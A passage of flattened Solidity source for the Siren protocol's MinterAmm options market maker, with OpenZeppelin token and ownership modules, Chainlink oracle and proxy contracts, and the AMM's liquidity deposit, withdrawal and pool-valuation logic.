cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: @chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File: contracts/token/ISimpleToken.sol pragma solidity 0.6.12; /** Interface for any Siren SimpleToken */ interface ISimpleToken is IERC20 { function initialize( string memory name, string memory symbol, uint8 decimals ) external; function mint(address to, uint256 amount) external; function burn(address account, uint256 amount) external; function selfDestructToken(address payable refundAddress) external; } // File: contracts/market/IMarket.sol pragma solidity 0.6.12; /** Interface for any Siren Market */ interface IMarket { /** Tracking the different states of the market */ enum MarketState { /** * New options can be created * Redemption token holders can redeem their options for collateral * Collateral token holders can't do anything */ OPEN, /** * No new options can be created * Redemption token holders can't do anything * Collateral tokens holders can re-claim their collateral */ EXPIRED, /** * 180 Days after the market has expired, it will be set to a closed state. * Once it is closed, the owner can sweep any remaining tokens and destroy the contract * No new options can be created * Redemption token holders can't do anything * Collateral tokens holders can't do anything */ CLOSED } /** Specifies the manner in which options can be redeemed */ enum MarketStyle { /** * Options can only be redeemed 30 minutes prior to the option's expiration date */ EUROPEAN_STYLE, /** * Options can be redeemed any time between option creation * and the option's expiration date */ AMERICAN_STYLE } function state() external view returns (MarketState); function mintOptions(uint256 collateralAmount) external; function calculatePaymentAmount(uint256 collateralAmount) external view returns (uint256); function calculateFee(uint256 amount, uint16 basisPoints) external pure returns (uint256); function exerciseOption(uint256 collateralAmount) external; function claimCollateral(uint256 collateralAmount) external; function closePosition(uint256 collateralAmount) external; function recoverTokens(IERC20 token) external; function selfDestructMarket(address payable refundAddress) external; function updateRestrictedMinter(address _restrictedMinter) external; function marketName() external view returns (string memory); function priceRatio() external view returns (uint256); function expirationDate() external view returns (uint256); function collateralToken() external view returns (IERC20); function wToken() external view returns (ISimpleToken); function bToken() external view returns (ISimpleToken); function updateImplementation(address newImplementation) external; function initialize( string calldata _marketName, address _collateralToken, address _paymentToken, MarketStyle _marketStyle, uint256 _priceRatio, uint256 _expirationDate, uint16 _exerciseFeeBasisPoints, uint16 _closeFeeBasisPoints, uint16 _claimFeeBasisPoints, address _tokenImplementation ) external; } // File: contracts/market/IMarketsRegistry.sol pragma solidity 0.6.12; /** Interface for any Siren MarketsRegistry */ interface IMarketsRegistry { // function state() external view returns (MarketState); function markets(string calldata marketName) external view returns (address); function getMarketsByAssetPair(bytes32 assetPair) external view returns (address[] memory); function amms(bytes32 assetPair) external view returns (address); function initialize( address _tokenImplementation, address _marketImplementation, address _ammImplementation ) external; function updateTokenImplementation(address newTokenImplementation) external; function updateMarketImplementation(address newMarketImplementation) external; function updateAMMImplementation(address newAmmImplementation) external; function updateMarketsRegistryImplementation( address newMarketsRegistryImplementation ) external; function createMarket( string calldata _marketName, address _collateralToken, address _paymentToken, IMarket.MarketStyle _marketStyle, uint256 _priceRatio, uint256 _expirationDate, uint16 _exerciseFeeBasisPoints, uint16 _closeFeeBasisPoints, uint16 _claimFeeBasisPoints, address _amm ) external returns (address); function createAmm( AggregatorV3Interface _priceOracle, IERC20 _paymentToken, IERC20 _collateralToken, uint16 _tradeFeeBasisPoints, bool _shouldInvertOraclePrice ) external returns (address); function selfDestructMarket(IMarket market, address payable refundAddress) external; function updateImplementationForMarket( IMarket market, address newMarketImplementation ) external; function recoverTokens(IERC20 token, address destination) external; } // File: contracts/proxy/Proxiable.sol pragma solidity 0.6.12; contract Proxiable { // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" uint256 constant PROXY_MEM_SLOT = 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; event CodeAddressUpdated(address newAddress); function _updateCodeAddress(address newAddress) internal { require( bytes32(PROXY_MEM_SLOT) == Proxiable(newAddress).proxiableUUID(), "Not compatible" ); assembly { // solium-disable-line sstore(PROXY_MEM_SLOT, newAddress) } emit CodeAddressUpdated(newAddress); } function getLogicAddress() public view returns (address logicAddress) { assembly { // solium-disable-line logicAddress := sload(PROXY_MEM_SLOT) } } function proxiableUUID() public pure returns (bytes32) { return bytes32(PROXY_MEM_SLOT); } } // File: contracts/proxy/Proxy.sol pragma solidity 0.6.12; contract Proxy { // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" uint256 constant PROXY_MEM_SLOT = 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; constructor(address contractLogic) public { // Verify a valid address was passed in require(contractLogic != address(0), "Contract Logic cannot be 0x0"); // save the code address assembly { // solium-disable-line sstore(PROXY_MEM_SLOT, contractLogic) } } fallback() external payable { assembly { // solium-disable-line let contractLogic := sload(PROXY_MEM_SLOT) let ptr := mload(0x40) calldatacopy(ptr, 0x0, calldatasize()) let success := delegatecall( gas(), contractLogic, ptr, calldatasize(), 0, 0 ) let retSz := returndatasize() returndatacopy(ptr, 0, retSz) switch success case 0 { revert(ptr, retSz) } default { return(ptr, retSz) } } } } // File: contracts/libraries/Math.sol pragma solidity 0.6.12; // a library for performing various math operations library Math { // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } function min(uint256 a, uint256 b) internal pure returns (uint256) { if (a < b) return a; return b; } } // File: contracts/amm/InitializeableAmm.sol pragma solidity 0.6.12; interface InitializeableAmm { function initialize( IMarketsRegistry _registry, AggregatorV3Interface _priceOracle, IERC20 _paymentToken, IERC20 _collateralToken, address _tokenImplementation, uint16 _tradeFeeBasisPoints, bool _shouldInvertOraclePrice ) external; function transferOwnership(address newOwner) external; } // File: contracts/amm/MinterAmm.sol pragma solidity 0.6.12; /** This is an implementation of a minting/redeeming AMM that trades a list of markets with the same collateral and payment assets. For example, a single AMM contract can trade all strikes of WBTC/USDC calls It uses on-chain Black-Scholes approximation and an Oracle price feed to calculate price of an option. It then uses this price to bootstrap a constant product bonding curve to calculate slippage for a particular trade given the amount of liquidity in the pool. External users can buy bTokens with collateral (wToken trading is disabled in this version). When they do this, the AMM will mint new bTokens and wTokens, sell off the side the user doesn't want, and return value to the user. External users can sell bTokens for collateral. When they do this, the AMM will sell a partial amount of assets to get a 50/50 split between bTokens and wTokens, then redeem them for collateral and send back to the user. LPs can provide collateral for liquidity. All collateral will be used to mint bTokens/wTokens for each trade. They will be given a corresponding amount of lpTokens to track ownership. The amount of lpTokens is calculated based on total pool value which includes collateral token, payment token, active b/wTokens and expired/unclaimed b/wTokens LPs can withdraw collateral from liquidity. When withdrawing user can specify if they want their pro-rata b/wTokens to be automatically sold to the pool for collateral. If the chose not to sell then they get pro-rata of all tokens in the pool (collateral, payment, bToken, wToken). If they chose to sell then their bTokens and wTokens will be sold to the pool for collateral incurring slippage. All expired unclaimed wTokens are automatically claimed on each deposit or withdrawal All conversions between bToken and wToken in the AMM will generate fees that will be send to the protocol fees pool (disabled in this version) */ contract MinterAmm is InitializeableAmm, OwnableUpgradeSafe, Proxiable { /** Use safe ERC20 functions for any token transfers since people don't follow the ERC20 standard */ using SafeERC20 for IERC20; using SafeERC20 for ISimpleToken; /** Use safe math for uint256 */ using SafeMath for uint256; /** @dev The token contract that will track lp ownership of the AMM */ ISimpleToken public lpToken; /** @dev The ERC20 tokens used by all the Markets associated with this AMM */ IERC20 public collateralToken; IERC20 public paymentToken; uint8 internal collateralDecimals; uint8 internal paymentDecimals; /** @dev The registry which the AMM will use to lookup individual Markets */ IMarketsRegistry public registry; /** @dev The oracle used to fetch the most recent on-chain price of the collateralToken */ AggregatorV3Interface internal priceOracle; /** @dev a factor used in price oracle calculation that takes into account the decimals of * the payment and collateral token */ uint256 internal paymentAndCollateralConversionFactor; /** @dev Chainlink does not give inverse price pairs (i.e. it only gives a BTC / USD price of $14000, not * a USD / BTC price of 1 / 14000. Sidenote: yes it is confusing that their BTC / USD price is actually in * the inverse units of USD per BTC... but here we are!). So the initializer needs to specify if the price * oracle's units match the AMM's price calculation units (in which case shouldInvertOraclePrice == false). * * Example: If collateralToken == WBTC, and paymentToken = USDC, and we're using the Chainlink price oracle * with the .description() == 'BTC / USD', and latestAnswer = 1400000000000 ($14000) then * shouldInvertOraclePrice should equal false. If the collateralToken and paymentToken variable values are * switched, and we're still using the price oracle 'BTC / USD' (because remember, there is no inverse price * oracle) then shouldInvertOraclePrice should equal true. */ bool internal shouldInvertOraclePrice; /** @dev Fees on trading */ uint16 public tradeFeeBasisPoints; /** Volatility factor used in the black scholes approximation - can be updated by the owner */ uint256 public volatilityFactor; /** @dev Flag to ensure initialization can only happen once */ bool initialized = false; /** @dev This is the keccak256 hash of the concatenation of the collateral and * payment token address used to look up the markets in the registry */ bytes32 public assetPair; /** Track whether enforcing deposit limits is turned on. The Owner can update this. */ bool public enforceDepositLimits; /** Amount that accounts are allowed to deposit if enforcement is turned on */ uint256 public globalDepositLimit; uint256 public constant MINIMUM_TRADE_SIZE = 1000; /** Struct to track how whether user is allowed to deposit and the current amount they already have deposited */ struct LimitAmounts { bool allowedToDeposit; uint256 currentDeposit; } /** * DISABLED: This variable is no longer being used, but is left it to support backwards compatibility of * updating older contracts if needed. This variable can be removed once all historical contracts are updated. * If this variable is removed and an existing contract is graded, it will corrupt the memory layout. * * Mapping to track deposit limits. * This is intended to be a temporary feature and will only count amounts deposited by an LP. * If they withdraw collateral, it will not be subtracted from their current deposit limit to * free up collateral that they can deposit later. */ mapping(address => LimitAmounts) public collateralDepositLimits; /** Emitted when the owner updates the enforcement flag */ event EnforceDepositLimitsUpdated(bool isEnforced, uint256 globalLimit); /** Emitted when a deposit allowance is updated */ event DepositAllowedUpdated(address lpAddress, bool allowed); /** Emitted when the amm is created */ event AMMInitialized(ISimpleToken lpToken, address priceOracle); /** Emitted when an LP deposits collateral */ event LPTokensMinted( address minter, uint256 collateralAdded, uint256 lpTokensMinted ); /** Emitted when an LP withdraws collateral */ event LPTokensBurned( address redeemer, uint256 collateralRemoved, uint256 paymentRemoved, uint256 lpTokensBurned ); /** Emitted when a user buys bTokens from the AMM*/ event BTokensBought( address buyer, uint256 bTokensBought, uint256 collateralPaid ); /** Emitted when a user sells bTokens to the AMM */ event BTokensSold( address seller, uint256 bTokensSold, uint256 collateralPaid ); /** Emitted when a user buys wTokens from the AMM*/ event WTokensBought( address buyer, uint256 wTokensBought, uint256 collateralPaid ); /** Emitted when a user sells wTokens to the AMM */ event WTokensSold( address seller, uint256 wTokensSold, uint256 collateralPaid ); /** Emitted when the owner updates volatilityFactor */ event VolatilityFactorUpdated(uint256 newVolatilityFactor); /** @dev Require minimum trade size to prevent precision errors at low values */ modifier minTradeSize(uint256 tradeSize) { require(tradeSize >= MINIMUM_TRADE_SIZE, "Trade below min size"); _; } function transferOwnership(address newOwner) public override(InitializeableAmm, OwnableUpgradeSafe) { super.transferOwnership(newOwner); } /** Initialize the contract, and create an lpToken to track ownership */ function initialize( IMarketsRegistry _registry, AggregatorV3Interface _priceOracle, IERC20 _paymentToken, IERC20 _collateralToken, address _tokenImplementation, uint16 _tradeFeeBasisPoints, bool _shouldInvertOraclePrice ) public override { require(address(_registry) != address(0x0), "Invalid _registry"); require(address(_priceOracle) != address(0x0), "Invalid _priceOracle"); require(address(_paymentToken) != address(0x0), "Invalid _paymentToken"); require(address(_collateralToken) != address(0x0), "Invalid _collateralToken"); require(address(_collateralToken) != address(_paymentToken), "_collateralToken cannot equal _paymentToken"); require(_tokenImplementation != address(0x0), "Invalid _tokenImplementation"); // Enforce initialization can only happen once require(!initialized, "Contract can only be initialized once."); initialized = true; // Save off state variables registry = _registry; // Note! Here we're making an assumption that the _priceOracle argument // is for a price whose units are the same as the collateralToken and // paymentToken used in this AMM. If they are not then horrible undefined // behavior will ensue! priceOracle = _priceOracle; tradeFeeBasisPoints = _tradeFeeBasisPoints; // Save off market tokens collateralToken = _collateralToken; paymentToken = _paymentToken; assetPair = keccak256(abi.encode(address(collateralToken), address(paymentToken))); ERC20UpgradeSafe erc20CollateralToken = ERC20UpgradeSafe( address(collateralToken) ); ERC20UpgradeSafe erc20PaymentToken = ERC20UpgradeSafe( address(paymentToken) ); collateralDecimals = erc20CollateralToken.decimals(); paymentDecimals = erc20PaymentToken.decimals(); // set the conversion factor used when calculating the current collateral price // using the price value from the oracle paymentAndCollateralConversionFactor = uint256(1e18) .mul(uint256(10)**paymentDecimals) .div(uint256(10)**collateralDecimals); shouldInvertOraclePrice = _shouldInvertOraclePrice; if (_shouldInvertOraclePrice) { paymentAndCollateralConversionFactor = paymentAndCollateralConversionFactor .mul(uint256(10)**priceOracle.decimals()); } else { paymentAndCollateralConversionFactor = paymentAndCollateralConversionFactor .div(uint256(10)**priceOracle.decimals()); } // Create the lpToken and initialize it Proxy lpTokenProxy = new Proxy(_tokenImplementation); lpToken = ISimpleToken(address(lpTokenProxy)); // AMM name will be <collateralToken>-<paymentToken>, e.g. WBTC-USDC string memory ammName = string( abi.encodePacked( erc20CollateralToken.symbol(), "-", erc20PaymentToken.symbol() ) ); string memory lpTokenName = string(abi.encodePacked("LP-", ammName)); lpToken.initialize(lpTokenName, lpTokenName, collateralDecimals); // Set default volatility // 0.4 * volInSeconds * 1e18 volatilityFactor = 4000e10; __Ownable_init(); emit AMMInitialized(lpToken, address(priceOracle)); } /** The owner can set the flag to enforce deposit limits */ function setEnforceDepositLimits( bool _enforceDepositLimits, uint256 _globalDepositLimit ) public onlyOwner { enforceDepositLimits = _enforceDepositLimits; globalDepositLimit = _globalDepositLimit; emit EnforceDepositLimitsUpdated( enforceDepositLimits, _globalDepositLimit ); } /** * DISABLED: This feature has been disabled but left in for backwards compatibility. * Instead of allowing individual caps, there will be a global cap for deposited liquidity. * * The owner can update limits on any addresses */ function setCapitalDepositLimit( address[] memory lpAddresses, bool[] memory allowedToDeposit ) public onlyOwner { // Feature is disabled require( false, "Feature not supported" ); require( lpAddresses.length == allowedToDeposit.length, "Invalid arrays" ); for (uint256 i = 0; i < lpAddresses.length; i++) { collateralDepositLimits[lpAddresses[i]] .allowedToDeposit = allowedToDeposit[i]; emit DepositAllowedUpdated(lpAddresses[i], allowedToDeposit[i]); } } /** The owner can set the volatility factor used to price the options */ function setVolatilityFactor(uint256 _volatilityFactor) public onlyOwner { // Check lower bounds: 500e10 corresponds to ~7% annualized volatility require(_volatilityFactor > 500e10, "VolatilityFactor is too low"); volatilityFactor = _volatilityFactor; emit VolatilityFactorUpdated(_volatilityFactor); } /** * The owner can update the contract logic address in the proxy itself to upgrade */ function updateAMMImplementation(address newAmmImplementation) public onlyOwner { require(newAmmImplementation != address(0x0), "Invalid newAmmImplementation"); // Call the proxiable update _updateCodeAddress(newAmmImplementation); } /** * Ensure the value in the AMM is not over the limit. Revert if so. */ function enforceDepositLimit() internal view { // If deposit limits are enabled, track and limit if (enforceDepositLimits) { // Do not allow open markets over the TVL require( getTotalPoolValue(false) <= globalDepositLimit, "Pool over deposit limit" ); } } /** * LP allows collateral to be used to mint new options * bTokens and wTokens will be held in this contract and can be traded back and forth. * The amount of lpTokens is calculated based on total pool value */ function provideCapital(uint256 collateralAmount, uint256 lpTokenMinimum) public { // Move collateral into this contract collateralToken.safeTransferFrom( msg.sender, address(this), collateralAmount ); // If first LP, mint options, mint LP tokens, and send back any redemption amount if (lpToken.totalSupply() == 0) { // Ensure deposit limit is enforced enforceDepositLimit(); // Mint lp tokens to the user lpToken.mint(msg.sender, collateralAmount); // Emit event LPTokensMinted(msg.sender, collateralAmount, collateralAmount); // Bail out after initial tokens are minted - nothing else to do return; } // At any given moment the AMM can have the following reserves: // * collateral token // * active bTokens and wTokens for any market // * expired bTokens and wTokens for any market // * Payment token // In order to calculate correct LP amount we do the following: // 1. Claim expired wTokens // 2. Add value of all active bTokens and wTokens at current prices // 3. Add value of any payment token // 4. Add value of collateral claimAllExpiredTokens(); // Ensure deposit limit is enforced enforceDepositLimit(); // Mint LP tokens - the percentage added to bTokens should be same as lp tokens added uint256 lpTokenExistingSupply = lpToken.totalSupply(); uint256 poolValue = getTotalPoolValue(false); uint256 lpTokensNewSupply = (poolValue).mul(lpTokenExistingSupply).div( poolValue.sub(collateralAmount) ); uint256 lpTokensToMint = lpTokensNewSupply.sub(lpTokenExistingSupply); require( lpTokensToMint >= lpTokenMinimum, "provideCapital: Slippage exceeded" ); lpToken.mint(msg.sender, lpTokensToMint); // Emit event emit LPTokensMinted( msg.sender, collateralAmount, lpTokensToMint ); } /** * LP can redeem their LP tokens in exchange for collateral * If `sellTokens` is true pro-rata active b/wTokens will be sold to the pool in exchange for collateral * All expired wTokens will be claimed * LP will get pro-rata collateral and payment assets * We return collateralTokenSent in order to give user ability to calculate the slippage via a call */ function withdrawCapital( uint256 lpTokenAmount, bool sellTokens, uint256 collateralMinimum ) public { require( !sellTokens || collateralMinimum > 0, "withdrawCapital: collateralMinimum must be set" ); // First get starting numbers uint256 redeemerCollateralBalance = collateralToken.balanceOf( msg.sender ); uint256 redeemerPaymentBalance = paymentToken.balanceOf(msg.sender); // Get the lpToken supply uint256 lpTokenSupply = lpToken.totalSupply(); // Burn the lp tokens lpToken.burn(msg.sender, lpTokenAmount); // Claim all expired wTokens claimAllExpiredTokens(); // Send paymentTokens uint256 paymentTokenBalance = paymentToken.balanceOf(address(this)); paymentToken.transfer( msg.sender, paymentTokenBalance.mul(lpTokenAmount).div(lpTokenSupply) ); uint256 collateralTokenBalance = collateralToken.balanceOf( address(this) ); // Withdraw pro-rata collateral and payment tokens // We withdraw this collateral here instead of at the end, // because when we sell the residual tokens to the pool we want // to exclude the withdrawn collateral uint256 ammCollateralBalance = collateralTokenBalance.sub( collateralTokenBalance.mul(lpTokenAmount).div(lpTokenSupply) ); // Sell pro-rata active tokens or withdraw if no collateral left ammCollateralBalance = _sellOrWithdrawActiveTokens( lpTokenAmount, lpTokenSupply, msg.sender, sellTokens, ammCollateralBalance ); // Send all accumulated collateralTokens collateralToken.transfer( msg.sender, collateralTokenBalance.sub(ammCollateralBalance) ); uint256 collateralTokenSent = collateralToken.balanceOf(msg.sender).sub( redeemerCollateralBalance ); require( !sellTokens || collateralTokenSent >= collateralMinimum, "withdrawCapital: Slippage exceeded" ); // Emit the event emit LPTokensBurned( msg.sender, collateralTokenSent, paymentToken.balanceOf(msg.sender).sub(redeemerPaymentBalance), lpTokenAmount ); } /** * Takes any wTokens from expired Markets the AMM may have and converts * them into collateral token which gets added to its liquidity pool */ function claimAllExpiredTokens() public { address[] memory markets = getMarkets(); for (uint256 i = 0; i < markets.length; i++) { IMarket optionMarket = IMarket(markets[i]); if (optionMarket.state() == IMarket.MarketState.EXPIRED) { uint256 wTokenBalance = optionMarket.wToken().balanceOf( address(this) ); if (wTokenBalance > 0) { claimExpiredTokens(optionMarket, wTokenBalance); } } } } /** * Claims the wToken on a single expired Market. wTokenBalance should be equal to * the amount of the expired Market's wToken owned by the AMM */ function claimExpiredTokens(IMarket optionMarket, uint256 wTokenBalance) public { optionMarket.claimCollateral(wTokenBalance); } /** * During liquidity withdrawal we either sell pro-rata active tokens back to the pool * or withdraw them to the LP */ function _sellOrWithdrawActiveTokens( uint256 lpTokenAmount, uint256 lpTokenSupply, address redeemer, bool sellTokens, uint256 collateralLeft ) internal returns (uint256) { address[] memory markets = getMarkets(); for (uint256 i = 0; i < markets.length; i++) { IMarket optionMarket = IMarket(markets[i]); if (optionMarket.state() == IMarket.MarketState.OPEN) { uint256 bTokenToSell = optionMarket .bToken() .balanceOf(address(this)) .mul(lpTokenAmount) .div(lpTokenSupply); uint256 wTokenToSell = optionMarket .wToken() .balanceOf(address(this)) .mul(lpTokenAmount) .div(lpTokenSupply); if (!sellTokens || lpTokenAmount == lpTokenSupply) { // Full LP token withdrawal for the last LP in the pool // or if auto-sale is disabled if (bTokenToSell > 0) { optionMarket.bToken().transfer(redeemer, bTokenToSell); } if (wTokenToSell > 0) { optionMarket.wToken().transfer(redeemer, wTokenToSell); } } else { // The LP sells their bToken and wToken to the AMM. The AMM // pays the LP by reducing collateralLeft, which is what the // AMM's collateral balance will be after executing this // transaction (see MinterAmm.withdrawCapital to see where // _sellOrWithdrawActiveTokens gets called) uint256 collateralAmountB = bTokenGetCollateralOutInternal( optionMarket, bTokenToSell, collateralLeft ); // Note! It's possible that either of the two `.sub` calls // below will underflow and return an error. This will only // happen if the AMM does not have sufficient collateral // balance to buy the bToken and wToken from the LP. If this // happens, this transaction will revert with a // "SafeMath: subtraction overflow" error collateralLeft = collateralLeft.sub(collateralAmountB); uint256 collateralAmountW = wTokenGetCollateralOutInternal( optionMarket, wTokenToSell, collateralLeft ); collateralLeft = collateralLeft.sub(collateralAmountW); } } } return collateralLeft; } /** * Get value of all assets in the pool. * Can specify whether to include the value of expired unclaimed tokens */ function getTotalPoolValue(bool includeUnclaimed) public view returns (uint256) { address[] memory markets = getMarkets(); // Note! This function assumes the price obtained from the onchain oracle // in getCurrentCollateralPrice is a valid market price in units of // collateralToken/paymentToken. If the onchain price oracle's value // were to drift from the true market price, then the bToken price // we calculate here would also drift, and will result in undefined // behavior for any functions which call getTotalPoolValue uint256 collateralPrice = getCurrentCollateralPrice(); // First, determine the value of all residual b/wTokens uint256 activeTokensValue = 0; uint256 unclaimedTokensValue = 0; for (uint256 i = 0; i < markets.length; i++) { IMarket optionMarket = IMarket(markets[i]); if (optionMarket.state() == IMarket.MarketState.OPEN) { // value all active bTokens and wTokens at current prices uint256 bPrice = getPriceForMarket(optionMarket); // wPrice = 1 - bPrice uint256 wPrice = uint256(1e18).sub(bPrice); uint256 bTokenBalance = optionMarket.bToken().balanceOf( address(this) ); uint256 wTokenBalance = optionMarket.wToken().balanceOf( address(this) ); activeTokensValue = activeTokensValue.add( bTokenBalance .mul(bPrice) .add(wTokenBalance.mul(wPrice)) .div(1e18) ); } else if ( includeUnclaimed && optionMarket.state() == IMarket.MarketState.EXPIRED ) { // Get pool wTokenBalance uint256 wTokenBalance = optionMarket.wToken().balanceOf( address(this) ); uint256 wTokenSupply = optionMarket.wToken().totalSupply(); if (wTokenBalance == 0 || wTokenSupply == 0) continue; // Get collateral token locked in the market uint256 unclaimedCollateral = collateralToken .balanceOf(address(optionMarket)) .mul(wTokenBalance) .div(wTokenSupply); // Get value of payment token locked in the market uint256 unclaimedPayment = paymentToken .balanceOf(address(optionMarket)) .mul(wTokenBalance) .div(wTokenSupply) .mul(1e18) .div(collateralPrice); unclaimedTokensValue = unclaimedTokensValue .add(unclaimedCollateral) .add(unclaimedPayment); } } // value any payment token uint256 paymentTokenValue = paymentToken .balanceOf(address(this)) .mul(1e18) .div(collateralPrice); // Add collateral value uint256 collateralBalance = collateralToken.balanceOf(address(this)); return activeTokensValue .add(unclaimedTokensValue) .add(paymentTokenValue) .add(collateralBalance); } /** * Get unclaimed collateral and payment tokens locked in expired wTokens */ function getUnclaimedBalances() public view returns (uint256, uint256) { address[] memory markets = getMarkets(); uint256 unclaimedCollateral = 0; uint256 unclaimedPayment = 0; for (uint256 i = 0; i < markets.length; i++) { IMarket optionMarket = IMarket(markets[i]); if (optionMarket.state() == IMarket.MarketState.EXPIRED) { // Get pool wTokenBalance uint256 wTokenBalance = optionMarket.wToken().balanceOf( address(this) ); uint256 wTokenSupply = optionMarket.wToken().totalSupply(); if (wTokenBalance == 0 || wTokenSupply == 0) continue; // Get collateral token locked in the market unclaimedCollateral = unclaimedCollateral.add( collateralToken .balanceOf(address(optionMarket)) .mul(wTokenBalance) .div(wTokenSupply)); // Get payment token locked in the market unclaimedPayment = unclaimedPayment.add( paymentToken .balanceOf(address(optionMarket)) .mul(wTokenBalance) .div(wTokenSupply)); } } return (unclaimedCollateral, unclaimedPayment); } /** * Calculate sale value of pro-rata LP b/wTokens */ function getTokensSaleValue(uint256 lpTokenAmount) public view returns (uint256) { if (lpTokenAmount == 0) return 0; uint256 lpTokenSupply = lpToken.totalSupply(); if (lpTokenSupply == 0) return 0; address[] memory markets = getMarkets(); (uint256 unclaimedCollateral, ) = getUnclaimedBalances(); // Calculate amount of collateral left in the pool to sell tokens to uint256 totalCollateral = unclaimedCollateral.add(collateralToken.balanceOf(address(this))); // Subtract pro-rata collateral amount to be withdrawn totalCollateral = totalCollateral.mul(lpTokenSupply.sub(lpTokenAmount)).div(lpTokenSupply); // Given remaining collateral calculate how much all tokens can be sold for uint256 collateralLeft = totalCollateral; for (uint256 i = 0; i < markets.length; i++) { IMarket optionMarket = IMarket(markets[i]); if (optionMarket.state() == IMarket.MarketState.OPEN) { uint256 bTokenToSell = optionMarket .bToken() .balanceOf(address(this)) .mul(lpTokenAmount) .div(lpTokenSupply); uint256 wTokenToSell = optionMarket .wToken() .balanceOf(address(this)) .mul(lpTokenAmount) .div(lpTokenSupply); uint256 collateralAmountB = bTokenGetCollateralOutInternal( optionMarket, bTokenToSell, collateralLeft ); collateralLeft = collateralLeft.sub(collateralAmountB); uint256 collateralAmountW = wTokenGetCollateralOutInternal( optionMarket, wTokenToSell, collateralLeft ); collateralLeft = collateralLeft.sub(collateralAmountW); } } return totalCollateral.sub(collateralLeft); } /** * List of market addresses that this AMM trades */ function getMarkets() public view returns (address[] memory) { return registry.getMarketsByAssetPair(assetPair); } /** * Get market address by index */ function getMarket(uint256 marketIndex) public view returns (IMarket) { return IMarket(getMarkets()[marketIndex]); } struct LocalVars { uint256 bTokenBalance; uint256 wTokenBalance; uint256 toSquare; uint256 collateralAmount; uint256 collateralAfterFee; uint256 bTokenAmount; } /** * This function determines reserves of a bonding curve for a specific market. * Given price of bToken we determine what is the largest pool we can create such that * the ratio of its reserves satisfy the given bToken price: Rb / Rw = (1 - Pb) / Pb */ function getVirtualReserves(IMarket market) public view returns (uint256, uint256) { return getVirtualReservesInternal( market, collateralToken.balanceOf(address(this)) ); } function getVirtualReservesInternal( IMarket market, uint256 collateralTokenBalance ) internal view returns (uint256, uint256) { // Max amount of tokens we can get by adding current balance plus what can be minted from collateral uint256 bTokenBalanceMax = market.bToken().balanceOf(address(this)).add( collateralTokenBalance ); uint256 wTokenBalanceMax = market.wToken().balanceOf(address(this)).add( collateralTokenBalance ); uint256 